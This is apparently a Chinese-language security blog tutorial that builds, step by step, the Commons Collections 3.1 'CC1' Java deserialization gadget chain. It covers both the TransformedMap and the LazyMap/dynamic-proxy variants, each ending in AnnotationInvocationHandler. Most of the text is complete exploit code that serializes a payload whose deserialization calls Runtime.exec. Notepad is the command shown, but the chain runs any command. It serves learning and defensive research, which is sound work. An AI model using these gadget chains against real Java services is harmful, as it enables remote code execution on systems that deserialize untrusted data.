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可能之前看Java CC1链的文章时，那复杂的玩法给我留下了阴影，这篇文章自己迟迟没有动笔——毕竟有TransformedMap玩法，还有LazyMap玩法，最终还得借助AnnotationInvocationHandler或动态代理，看着就令人头大。
但我可以拖延，洞却不会等着我。自己如果不加快节奏，你就要和我说再见了。
咬牙鼓劲，遂出此文。
1
CC
首先，还是先说下 C ommons- C ollections吧。它的 功能是为Java标准的Collections API提供了相当好的补充，对其常用的数据结构操作进行了很好的封装和抽象。保证性能的同时大大简化代码。
此包的类包含下面两个：
Map
Commons Collections在java.util.Map的基础上扩展了很多接口和类，比较有代表性的是BidiMap、MultiMap和LazyMap。跟Bag和Buffer类似，Commons Collections也提供了一个MapUtils。
所谓BidiMap，直译就是双向Map，可以通过key找到value，也可以通过value找到key，这在我们日常的代码-名称匹配的时候很方便：因为我们除了需要通过代码找到名称之外，往往也需要处理用户输入的名称，然后获取其代码。需要注意的是BidiMap当中不光key不能重复，value也不可以。
所谓MultiMap，就是说一个key不再是简单的指向一个对象，而是一组对象，add()和remove()的时候跟普通的Map无异，只是在get()时返回一个Collection，利用MultiMap，我们就可以很方便的往一个key上放数量不定的对象，也就实现了一对多。
所谓LazyMap，意思就是这个Map中的键/值对一开始并不存在，当被调用到时才创建。
https://www.iteye.com/blog/duohuoteng-1630329
Transformer
我们有时候需要将某个对象转换成另一个对象供另一组方法调用，而这两类对象的类型有可能并不是出于同一个继承体系的，或者说出了很基本的Object之外没有共同的父类，或者我们根本不关心他们是不是有其他继承关系，甚至就是同一个类的实例只是对我们而言无所谓，我们为了它能够被后续的调用者有意义的识别和处理，在这样的情形，我们就可以利用Transformer。除了基本的转型Transformer之外，Commons Collections还提供了Transformer链和带条件的Transformer，使得我们很方便的组装出有意义的转型逻辑。
https://blog.csdn.net/liliugen/article/details/83298363
重点要关注这两个类Map、Transformer。 接下来包的问题，直接上maven仓库拉就好了：
最重要的一点：CC包版本需要为3.1-3.2.1，别看3.0和3.1只差个0.1，却可能导致弹不出记事本。我这次用的是3.1。
2
构造利用链
这一步建议使用jdk7，jdk8可能会出错。
InvokerTransformer
首先，来看反射机制触发函数InvokerTransformer类的transform(Object input)：
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName; //函数名
this.iParamTypes = paramTypes; //函数参数的类型
this.iArgs = args; //参数对象
}
public Object transform(Object input) {
Class cls = input.getClass(); //获取input的类
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //调用方法
return method.invoke(input, this.iArgs); //执行
}
通过Java反射机制，我们可以构造一个命令执行：
public static void main(String[] args) throws Exception {
//payload
InvokerTransformer x = new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"notepad"});
//服务端
Object d = Class.forName("java.lang.Runtime")
.getMethod("getRuntime")
.invoke(Class.forName("java.lang.Runtime"));
x.transform(d);
}
但是，这似乎不太现实，服务端给咱专门来了个：
Object d = Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”))还得接着优化。
ChainedTransformer
接下来我们看这个类ChainedTransformer的transform函数：
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
由此函数可知，输入的对象会给第一个转化器，转换结果会被输入到第二个转换器，以此类推。
再看ChainedTransformer类的构造函数，发现iTransformers数组是用户自己定义的：
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
接下来我们构造一下，运行：
public static void main(String[] args) throws Exception {
//payload
Transformer[] x = new Transformer[]{
new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"notepad"})
};
Transformer d = new ChainedTransformer(x);
//服务端
Object a = Class.forName("java.lang.Runtime")
.getMethod("getRuntime")
.invoke(Class.forName("java.lang.Runtime"));
d.transform(a);
}
看似和第一步没什么区别，但其实是在为后面做铺垫。
ConstantTransformer
ConstantTransformer类与InvokkerTransformer一样，继承Transforme父类，可以进入数组。主要看该类的下面两个函数：
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
在此对其修改，由于Runtime.getRuntime()实例已经放进payload里面，transform函数有无参数都不重要，因为ConstantTransformer类的transform函数会返会iConstant值，也就是最开始我们构造函数设置好的：
public static void main(String[] args) throws Exception {
//payload
Transformer[] x = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
};
Transformer d = new ChainedTransformer(x);
//payload序列化写入文件，当作网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(d);
//服务端反序列化payload读取
FileInputStream f1 = new FileInputStream("payload.bin");
ObjectInputStream f2 = new ObjectInputStream(f1);
Transformer a = (ChainedTransformer) f2.readObject();
d.transform(null);
}
这次之所以这样写，是因为前面的序列化和不序列化结果都一样，这次如果不序列化，看不出问题。
果然报错，Runtime类的定义没有继承Serializable类，是不支持反序列化的。
服务端生成Runtime实例
Runtime的实例是通过Runtime.getRuntime()来获取的，而InvokerTransformer里面的反射机制可以执行任意函数，我们让其执行getRuntime，从而使其成为实例。
把数组修改成如下：
Transformer[] x = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getRuntime",new Class[]{},new Object[]{}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
};
结果报错了，跟踪一下：
由于是类缘故，所以input.getClass获取的是java.lang.Class。
调整一下，借用getMethod方法执行getRuntime。
Transformer[] x = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
};
跟踪到x[1]进去transform函数，发现获取的类还不是Runtime实例。
再对其调整：
Transformer[] x = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
};
终于成功了。
其实是等同于反射语句：
public static void main(String[] args) throws Exception {
//x[0],object=""
Class s = Class.forName("java.lang.Class");
//x[1],object="java.lang.Runtime"
Object o = s.getMethod("getMethod", new Class[]{String.class, Class[].class}).invoke(Class.forName("java.lang.Runtime"), "getRuntime", new Class[0]);
System.out.println(o + "\n\n");
//x[2],object="java.lang.Runtime.getRuntime()"
s = o.getClass();
o = s.getMethod("invoke", new Class[]{Object.class, Object[].class}).invoke(o, null, new Object[0]);
System.out.println(s + "\n" + o + "\n\n");
//x[3],object=
Object o1 = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
System.out.println(o1);
}
可以看出，O和O1结果是一样的，但是服务端应该也不会执行。
Transformer a = (ChainedTransformer) f2.readObject();
d.transform(null);
还得继续优化。深思熟虑后， 上Map。
这里有两种Map都可以实现，一种是TransformedMap，另一种LazyMap，ysoserial用的是第二种，下面我会分别聊这两种实现方法。
TransformedMap
首先，看下TransformedMap类，发现当该类在调用put函数时，会执行transform函数，最后的执行结果会被添加到Map里：
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
于是，我就尝试了一下：
interface Test extends Transformer {
public Object transform(Object input);
}
class Test1 implements Test, Transformer {
public Object transform(Object input) {
return "x";
}
}
class Test2 implements Test {
public Object transform(Object input) {
return "d";
}
}
public class cc1 {
public static void main(String[] args) throws Exception {
Map innerMap = new HashMap();
System.out.println(innerMap);
Map map = TransformedMap.decorate(innerMap, new Test1(), new Test2());
map.put("value", "value");
System.out.println(map);
}
}
结果也是和我想象一样，Map输出为{x=d}。
借助这个类，我们修改一下，再尝试一次：
public class cc1 {
public static void main(String[] args) throws Exception {
//payload
Transformer[] x = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
};
Transformer d = new ChainedTransformer(x);
Map map = new HashMap();
map.put("value", "value");
Map map1 = TransformedMap.decorate(map, null, d);
//payload序列化写入文件，当作网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(map1);
//服务端反序列化payload读取
FileInputStream f1 = new FileInputStream("payload.bin");
ObjectInputStream f2 = new ObjectInputStream(f1);
Map map2 = (Map) f2.readObject();
map2.put("value", "1");
}
}
这次就合理起来了。服务端执行Map应该问题不大。但是我们要追求完美，要让它只执行一个readObject就弹出记事本。
AnnotationInvocationHandler的readObject复写点
看看AnnotationInvocationHandler类下的readObject函数，发现在里面有赋值操作var5.setValue，不管它值是什么，总之只要赋值就能执行我们的命令：
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
顺势改下代码， 由于AnnotationInvocationHandler类的构造函数的第一个参数继承Annotation，所以第一个变量可以在该包底选一个：
public class cc1 {
public static void main(String[] args) throws Exception {
//payload
Transformer[] x = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
};
Transformer d = new ChainedTransformer(x);
Map map = new HashMap();
map.put("key", "key");
Map map1 = TransformedMap.decorate(map, null, d);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);
ct.setAccessible(true);
Object o = ct.newInstance(Documented.class, map1);
//payload序列化写入文件，当作网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(o);
//服务端反序列化payload读取
FileInputStream f1 = new FileInputStream("payload.bin");
ObjectInputStream f2 = new ObjectInputStream(f1);
f2.readObject();
}
}
发现var3里面有一组Map数据，会把用户输入的Map数据的每一组key值在其var3寻找，有则不为空，进入判断则可执行。
LazyMap
看看LazyMap类，发现其get函数在获取key所对应的数据时，如果当key不存在，则调用transform函数，并把执行结果作为该key所对应的数据，并添加到到Map里面：
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = FactoryTransformer.getInstance(factory);
}
}
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
用这个Map改的话，如下：
public class cc1 {
public static void main(String[] args) throws Exception {
//payload
Transformer[] x = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
};
Transformer d = new ChainedTransformer(x);
Map map = new HashMap();
Map map1 = LazyMap.decorate(map, d);
map1.get("key");
}
}
不完美，还是不完美。
动态代理
我们看一段代码，运行发现，程序执行了invoke方法：
class expHandler implements InvocationHandler {
protected Map map;
public expHandler(Map map) {
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().compareTo("put") == 0) {
System.out.println("Hook Method: " + method.getName());
map.put("hi", "xd");
}
return method.invoke(this.map, args);
}
}
public class cc1 {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new expHandler(new HashMap());
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
proxyMap.put("hi", "sir");
System.out.println(proxyMap);
}
发现输出的结果是先去执行invoke，当匹配不到，则按正常执行。
AnnotationInvocationHandler类其实和InvocationHandler差不多里都有invoke，AnnotationInvocationHandler类下的invoke里面使用的get函数，所以从这里切入：
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
通过这些，我们修改代码：
public class cc1 {
public static void main(String[] args) throws Exception {
//payload
Transformer[] x = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
};
Transformer d = new ChainedTransformer(x);
Map map = new HashMap();
Map map1 = LazyMap.decorate(map, d);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);
ct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) ct.newInstance(Target.class, map1);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
Object o = ct.newInstance(Target.class, proxyMap); //这样写也可handler = (InvocationHandler) ct.newInstance(Retention.class, proxyMap);
//payload序列化写入文件，当作网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(o); //如果用的后面那种，则把o换成handler
//服务端反序列化payload读取
FileInputStream f1 = new FileInputStream("payload.bin");
ObjectInputStream f2 = new ObjectInputStream(f1);
f2.readObject();
}
}
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总结
相对来说，TransformedMap需要设定特定值，但是在最后一步的时候容易理解。而Lazy M ap前面不需要多难的技巧，但在后面动态代理时显得比较复杂。
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原文链接：https://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&mid=2247501368&idx=1&sn=a8d6791c7f61b3a5c50b259e1ac13c8f